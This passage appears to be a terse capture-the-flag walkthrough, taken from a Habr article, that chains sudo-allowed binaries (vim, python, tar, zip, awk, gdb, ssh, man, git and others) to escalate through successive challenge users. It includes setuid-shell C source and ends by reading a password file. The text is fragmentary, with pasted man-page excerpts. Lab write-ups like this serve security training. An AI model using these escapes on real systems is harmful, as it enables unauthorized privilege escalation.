app-script-ch14@challenge02:~$ echo ./step1/* ./step1/vim
:set shell=/bin/bash :shell
app-script-ch14@challenge02:~$ /usr/bin/sudo -u app-script-ch14-2 /usr/bin/python
>>> import os >>> os.system('/bin/bash')
app-script-ch14-2@challenge02:~$ /usr/bin/sudo -l (app-script-ch14-3) NOPASSWD: /bin/tar
#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); execve("/bin/sh", argv, envp); return 0; }
app-script-ch14-2@challenge02:/tmp/lev2$ gcc shell.c -o shell && chmod 777 shell && chmod +s shell
app-script-ch14-2@challenge02:/tmp/lev2$ sudo -u app-script-ch14-3 /bin/tar -cf ./test.tar ./shell app-script-ch14-2@challenge02:/tmp/lev2$ sudo -u app-script-ch14-3 /bin/tar -xvpf ./test.tar
-rwsrwsrwx 1 app-script-ch14-3 app-script-ch14 7.2K Feb 14 22:39 shell
app-script-ch14-3@challenge02:/tmp/lev2$ sudo -l (app-script-ch14-4) NOPASSWD: /usr/bin/zip
-TT cmd --unzip-command cmd
Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used. On Unix, unzip, could use:
zip archive file1 file2 -T -TT "./unzip -tqq"
In cmd , it has been appended. The return code is checked for success (0 on Unix)
app-script-ch14-3@challenge02:/tmp/lev2$ sudo -u app-script-ch14-4 /usr/bin/zip z shell -TT '/usr/bin/unzip -K {}' -T updating: shell (deflated 67%) Archive: ziFiNi11 replace shell? [y]es, [n]o, [A]ll, [N]one, [r]ename: y inflating: shell test of z.zip OK
app-script-ch14-3@challenge02:/tmp/lev2$ ls -ahl shell -rwsrwsrwx 1 app-script-ch14-4 app-script-ch14 7.2K Feb 15 21:48 shell
app-script-ch14-4@challenge02:/tmp/lev2$ sudo -l | grep NOPASSWD (app-script-ch14-5) NOPASSWD: /usr/bin/awk
awk 'BEGIN {system("/bin/bash")}'
app-script-ch14-5@challenge02:/tmp/lev2$ sudo -l | grep NOPASSWD (app-script-ch14-6) NOPASSWD: /usr/bin/gdb
(gdb) python import os; os.system('id') uid=1506(app-script-ch14-6) gid=1314(app-script-ch14) groups=1314(app-script-ch14),100(users) (gdb) python import os; os.system('/bin/bash')
app-script-ch14-5@challenge02:/tmp/lev2$ sudo -u app-script-ch14-6 /usr/bin/gdb -q -ex "set shell='/bin/bash'" /bin/ls (gdb) shell
#!/bin/bash gcc shell.c -o shell chmod 777 shell chmod +s shell
chmod 777 spellbash.sh
app-script-ch14-6@challenge02:/tmp/lev2$ sudo -u app-script-ch14-7 /usr/bin/pico -s ./spellbash.sh
app-script-ch14-6@challenge02:/tmp/lev2$ ls -ahl shell -rwsrwsrwx 1 app-script-ch14-7 app-script-ch14 7.2K Feb 15 23:02 shell
-S program - for the encrypted connection. Ssh (1) options.
app-script-ch14-7@challenge02:/tmp/lev2$ sudo -u app-script-ch14-8 /usr/bin/scp -S ./spellbash.sh 127.0.0.1:/tmp/z.zip ./ app-script-ch14-7@challenge02:/tmp/lev2$ ls -ahl shell -rwsrwsrwx 1 app-script-ch14-8 app-script-ch14 7.2K Feb 15 23:09 shell
! command Execute the shell command with $ SHELL.
app-script-ch14-8@challenge02:/tmp/lev2$ sudo -u app-script-ch14-9 /usr/bin/man ls
app-script-ch14-9@challenge02:/tmp/lev2$ sudo -u app-script-ch14-10 /usr/bin/ssh -o ProxyCommand="sh -c './spellbash.sh'" 127.0.0.1
app-script-ch14-9@challenge02:/tmp/lev2$ ls -ahl shell -rwsrwsrwx 1 app-script-ch14-10 app-script-ch14 7.2K Feb 18 21:34 shell
app-script-ch14-10@challenge02:/tmp/lev2$ sudo -u app-script-ch14-11 /usr/bin/git help status
:python import os; os.system('gcc shell.c -o shell && chmod 777 shell && chmod +s shell')
app-script-ch14-12@challenge02:/tmp/lev2$ sudo -u app-script-ch14-13 /usr/bin/script script.sh
app-script-ch14-13@challenge02:/tmp/lev2$ sudo -u app-script-ch14-14 /bin/rbash --
app-script-ch14-14@challenge02:~/step14$ echo ./* ./sl
THE GAME IS OVER!
! elif pushd ./ else pwd : enable readonly [ esac return [[ eval select ]] exit set alias export shift bg false shopt bind fc sl break fg suspend builtin fi test caller for then case function time cd getopts times command hash trap command_not_found_handle help true compgen history type complete if typeset compopt in ulimit continue jobs umask coproc kill unalias declare let unset dirs local until disown logout wait do mapfile while done popd { echo printf }
mapfile: mapfile [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array] Read lines from the standard input into an indexed array variable. Read lines from the standard input into the indexed array variable ARRAY, or from file descriptor FD if the -u option is supplied. The variable MAPFILE is the default ARRAY. Options: -n count Copy at most COUNT lines. If COUNT is 0, all lines are copied. -O origin Begin assigning to ARRAY at index ORIGIN. The default index is 0. -s count Discard the first COUNT lines read. -t Remove a trailing newline from each line read. -u fd Read lines from file descriptor FD instead of the standard input. -C callback Evaluate CALLBACK each time QUANTUM lines are read. -c quantum Specify the number of lines read between each call to CALLBACK. Arguments: ARRAY Array variable name to use for file data. If -C is supplied without -c, the default quantum is 5000. When CALLBACK is evaluated, it is supplied the index of the next array element to be assigned and the line to be assigned to that element as additional arguments. If not supplied with an explicit origin, mapfile will clear ARRAY before assigning to it. Exit Status: Returns success unless an invalid option is given or ARRAY is readonly or not an indexed array.
app-script-ch14-14@challenge02:~/step14$ mapfile ARRAY < ../.passwd ARRAY app-script-ch14-14@challenge02:~/step14$ echo $ARRAY
Source: https://habr.com/ru/post/321760/
All Articles